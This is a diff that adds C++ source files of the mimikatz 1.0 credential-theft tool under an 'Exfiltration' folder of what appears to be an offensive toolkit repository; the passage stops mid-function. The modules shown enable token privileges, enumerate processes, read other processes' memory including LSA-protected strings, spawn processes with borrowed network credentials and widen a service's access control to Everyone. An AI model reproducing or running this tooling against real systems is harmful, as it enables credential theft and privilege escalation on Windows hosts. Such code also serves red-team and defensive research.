\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h new file mode 100644 index 0000000..69ab9e9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_pipe +{ +private: + HANDLE hPipe; + wstring pipePath; + +public: + mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); + virtual ~mod_pipe(void); + + bool closePipe(); + + bool readFromPipe(wstring &laReponse); + bool writeToPipe(const wstring &leMessage); + + bool createServer(); + bool createClient(); + + bool isConnected(); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp new file mode 100644 index 0000000..34324b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp @@ -0,0 +1,95 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_privilege.h" + +bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) + { + privilegeName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) +{ + return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); +} + +bool mod_privilege::get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + HANDLE hToken = INVALID_HANDLE_VALUE; + if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) + { + DWORD tailleRequise = 0; + BYTE * monBuffer; + + if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + monBuffer = new BYTE[tailleRequise]; + if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer); + for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) + { + wstring * monPrivilege = new wstring(); + if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) + { + maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); + } + delete monPrivilege; + } + } + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_privilege::set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer); + mesPrivileges->PrivilegeCount = static_cast<DWORD>(maPrivilegesvector->size()); + + unsigned int i; + vector<pair<wstring, DWORD>>::iterator monPrivilege; + for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) + { + if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) + { + mesPrivileges->Privileges[i].Attributes = monPrivilege->second; + } + else + { + break; + } + } + + if(reussite) + { + HANDLE hToken = INVALID_HANDLE_VALUE; + if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) + { + reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast<TOKEN_PRIVILEGES *>(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); + } + } + + delete monBuffer; + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h new file mode 100644 index 0000000..2d2652f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_privilege +{ +private: + static bool getName(PLUID idPrivilege, wstring * privilegeName); + static bool getValue(wstring * privilegeName, PLUID idPrivilege); + +public: + static bool get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp new file mode 100644 index 0000000..d000f41 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp @@ -0,0 +1,473 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_process.h" + +bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName) +{ + HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hProcessesSnapshot != INVALID_HANDLE_VALUE) + { + PROCESSENTRY32 monProcessus; + monProcessus.dwSize = sizeof(PROCESSENTRY32); + + if(Process32First(hProcessesSnapshot, &monProcessus)) + { + do + { + if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) + { + KIWI_PROCESSENTRY32 monProcessK = { + monProcessus.dwSize, + monProcessus.cntUsage, + monProcessus.th32ProcessID, + monProcessus.th32DefaultHeapID, + monProcessus.th32ModuleID, + monProcessus.cntThreads, + monProcessus.th32ParentProcessID, + monProcessus.pcPriClassBase, + monProcessus.dwFlags, + monProcessus.szExeFile + }; + + maProcessesvector->push_back(monProcessK); + } + } while(Process32Next(hProcessesSnapshot, &monProcessus)); + } + CloseHandle(hProcessesSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) +{ + bool reussite = false; + + vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>(); + + if(getList(mesProcesses, processName)) + { + if(reussite = (mesProcesses->size() == 1)) + { + *monProcess = mesProcesses->front(); + } + } + delete mesProcesses; + return reussite; +} + +bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) +{ + bool reussite = false; + + vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) + { + if(!moduleName) + { + *monModule = *(monVecteurDeModule->begin()); + reussite = true; + } + else + { + for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) + { + if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) + { + *monModule = *leModule; + reussite = true; + break; + } + } + } + } + delete monVecteurDeModule; + + return reussite; +} + +bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId) +{ + HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); + + if(hModuleSnapshot != INVALID_HANDLE_VALUE) + { + MODULEENTRY32 monModule; + monModule.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(hModuleSnapshot, &monModule)) + { + do + { + KIWI_MODULEENTRY32 monModuleK = { + monModule.dwSize, + monModule.th32ModuleID, + monModule.th32ProcessID, + monModule.GlblcntUsage, + monModule.ProccntUsage, + monModule.modBaseAddr, + monModule.modBaseSize, + monModule.hModule, + monModule.szModule, + monModule.szExePath + }; + maModulevector->push_back(monModuleK); + } while(Module32Next(hModuleSnapshot, &monModule)); + } + CloseHandle(hModuleSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) +{ + bool reussite = false; + RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); + STARTUPINFO mesInfosDemarrer; + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; + maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); + commandLine[maCommandLine->size()] = L'\0'; + + DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); + + if(leToken) + reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else if(aUsurper) + reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else + reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + + delete[] commandLine; + return reussite; +} + +bool mod_process::suspend(DWORD & processId) +{ + bool reussite = false; + + if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::resume(DWORD & processId) +{ + bool reussite = false; + + if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtResumeProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::stop(DWORD & processId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = (TerminateProcess(monHandle, exitCode) != 0); + CloseHandle(monHandle); + } + return reussite; +} + +bool mod_process::debug(DWORD & processId) +{ + return (DebugActiveProcess(processId) != 0); +} + +bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) +{ + bool reussite = false; + + if(processHandle == INVALID_HANDLE_VALUE) + processHandle = GetCurrentProcess(); + + if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) + { + ULONG sizeReturn; + reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); + } + return reussite; +} + +bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) +{ + bool reussite = false; + + HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); + if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) + { + HANDLE handleProc; + if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) + { + DWORD ddNeededSize; + TOKEN_STATISTICS tokenStats; + + if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) + { + AuthentificationId = tokenStats.AuthenticationId; + } + CloseHandle(handleProc); + } + CloseHandle(handleProcess); + } + + return reussite; +} + +bool mod_process::getPeb(PEB * peb, HANDLE processHandle) +{ + bool reussite = false; + PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); + if(getProcessBasicInformation(mesInfos, processHandle)) + { + reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); + } + delete mesInfos; + return reussite; +} + +bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * baseAddr = ptrBaseAddr; + + BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)]; + if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) + { + PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER); + if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; + if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) + { + PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS); + if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) + { + if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) + { + BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; + if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) + { + PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR); + if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) + { + while(structImportDesc->Characteristics) + { + DWORD i = 0; + + BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + + vector<KIWI_IAT_MODULE> mesImports; + + for(;;) + { + if( + mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) + && + mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) + ) + { + PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName); + PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT); + + if(HintNameArray->u1.Function) + { + KIWI_IAT_MODULE imageIAT = { + baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), + reinterpret_cast<PVOID>(IATArray->u1.Function), + 0, + string() + }; + + if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); + } + else + { + BYTE monTab[] = {0}; + long offsetToNull; + if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; + if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) + { + PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME); + imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name)); + } + delete [] ayIMAGE_IMPORT_BY_NAME; + } + } + + mesImports.push_back(imageIAT); + i++; + } + else break; + } + else break; + } + + delete[] ayIMAGE_THUNK_DATA_IAT; + delete[] ayIMAGE_THUNK_DATA_HintName; + + BYTE monTab[] = {0}; + long offsetToNull; + + if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + char * maLib = new char[offsetToNull+1]; + if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) + { + monIAT->push_back(make_pair(string(maLib), mesImports)); + } + delete [] maLib; + } + + structImportDesc++; + } + } + } + delete[] ayIMAGE_IMPORT_DESCRIPTOR; + } + } + } + delete[] ayIMAGE_NT_HEADERS; + } + } + delete[] ayIMAGE_DOS_HEADER; + + return reussite; +} + +bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess) +{ + bool reussite = false; + bool tabOk = false; + + vector<mod_process::KIWI_PROCESSENTRY32> * monTab; + + if(!mesProcess) + { + monTab = new vector<mod_process::KIWI_PROCESSENTRY32>(); + tabOk = mod_process::getList(monTab); + } + else + { + monTab = mesProcess; + } + + if(mesProcess || tabOk) + { + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) + { + if(reussite = (monProcess->th32ProcessID == processId)) + { + *processKiwi = *monProcess; + break; + } + } + } + + if(!mesProcess) + { + delete monTab; + } + + return reussite; +} + +bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle) +{ + bool reussite = false; + PEB * monPeb = new PEB(); + if(getPeb(monPeb, processHandle)) + { + PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); + if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) + { + PBYTE aLire, fin; + LDR_DATA_TABLE_ENTRY monEntry; + for( + aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), + fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); + aLire != fin; + aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) + ) + { + if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) + { + KIWI_VERY_BASIC_MODULEENTRY monModule = { + reinterpret_cast<PBYTE>(monEntry.DllBase), + monEntry.SizeOfImage, + getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) + }; + monModuleVector->push_back(monModule); + } + } + } + delete monLoader; + } + delete monPeb; + return reussite; +} + +wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + wstring maChaine; + BYTE * monBuffer = NULL; + if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) + { + maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); + } + if(monBuffer) + delete[] monBuffer; + return maChaine; +} + +bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + bool resultat = false; + + if(ptrString->Buffer && (ptrString->Length > 0)) + { + *monBuffer = new BYTE[ptrString->MaximumLength]; + if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) + { + if(unProtectFunction) + unProtectFunction(*monBuffer, ptrString->MaximumLength); + } + } + return resultat; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h new file mode 100644 index 0000000..a7acf18 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.h @@ -0,0 +1,84 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "secpkg.h" +#include "mod_ntddk.h" +#include "mod_memory.h" +#include "mod_text.h" +#include <security.h> +#include <tlhelp32.h> + +class mod_process +{ +public: + typedef struct _KIWI_IAT_MODULE + { + PVOID ptrToFunc; + PVOID ptrFunc; + WORD Ordinal; + string funcName; + } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; + + typedef struct _KIWI_PROCESSENTRY32 + { + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + wstring szExeFile; // Path + } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; + + typedef struct _KIWI_MODULEENTRY32 + { + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + wstring szModule; + wstring szExePath; + } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; + + typedef struct _KIWI_VERY_BASIC_MODULEENTRY + { + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + wstring szModule; + } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; + + static bool getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName = NULL); + static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); + + static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); + static bool suspend(DWORD & processId); + static bool resume(DWORD & processId); + static bool stop(DWORD & processId, DWORD exitCode = 0); + + static bool debug(DWORD & processId); + + static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); + static bool getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId = NULL); + static bool getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); + + static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = NULL); + + static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); + static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp new file mode 100644 index 0000000..c14632c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_secacl.h" + +bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) +{ + PSECURITY_DESCRIPTOR newSD = NULL; + ULONG laTaille; + bool succes = false; + + if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) + { + switch(monType) + { + case SE_KERNEL_OBJECT: + succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; + break; + case SE_SERVICE: + succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; + break; + } + LocalFree(newSD); + } + + return succes; +} + +bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) +{ + bool reussite = false; + DWORD dwSizeNeeded = 0; + SECURITY_DESCRIPTOR monSd; + if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; + if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) + { + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID pEveryoneSID = NULL; + if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) + { + EXPLICIT_ACCESS ForEveryOne; + RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); + ForEveryOne.grfAccessMode = SET_ACCESS; + ForEveryOne.grfInheritance = NO_INHERITANCE; + ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; + ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID); + + PSECURITY_DESCRIPTOR newSd = NULL; + DWORD laTaille; + if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) + { + reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; + LocalFree(newSd); + } + FreeSid(pEveryoneSID); + } + } + delete [] oldSd; + } + return reussite; +} + +bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) +{ + bool reussite = false; + + wchar_t * szSid; + if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) + { + strSid->assign(szSid); + LocalFree(szSid); + } + return reussite; +} + +bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD dwSizeName = 0; + DWORD dwSizeDomain = 0; + SID_NAME_USE nameUse; + + if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + wchar_t * monNom = new wchar_t[dwSizeName]; + wchar_t * 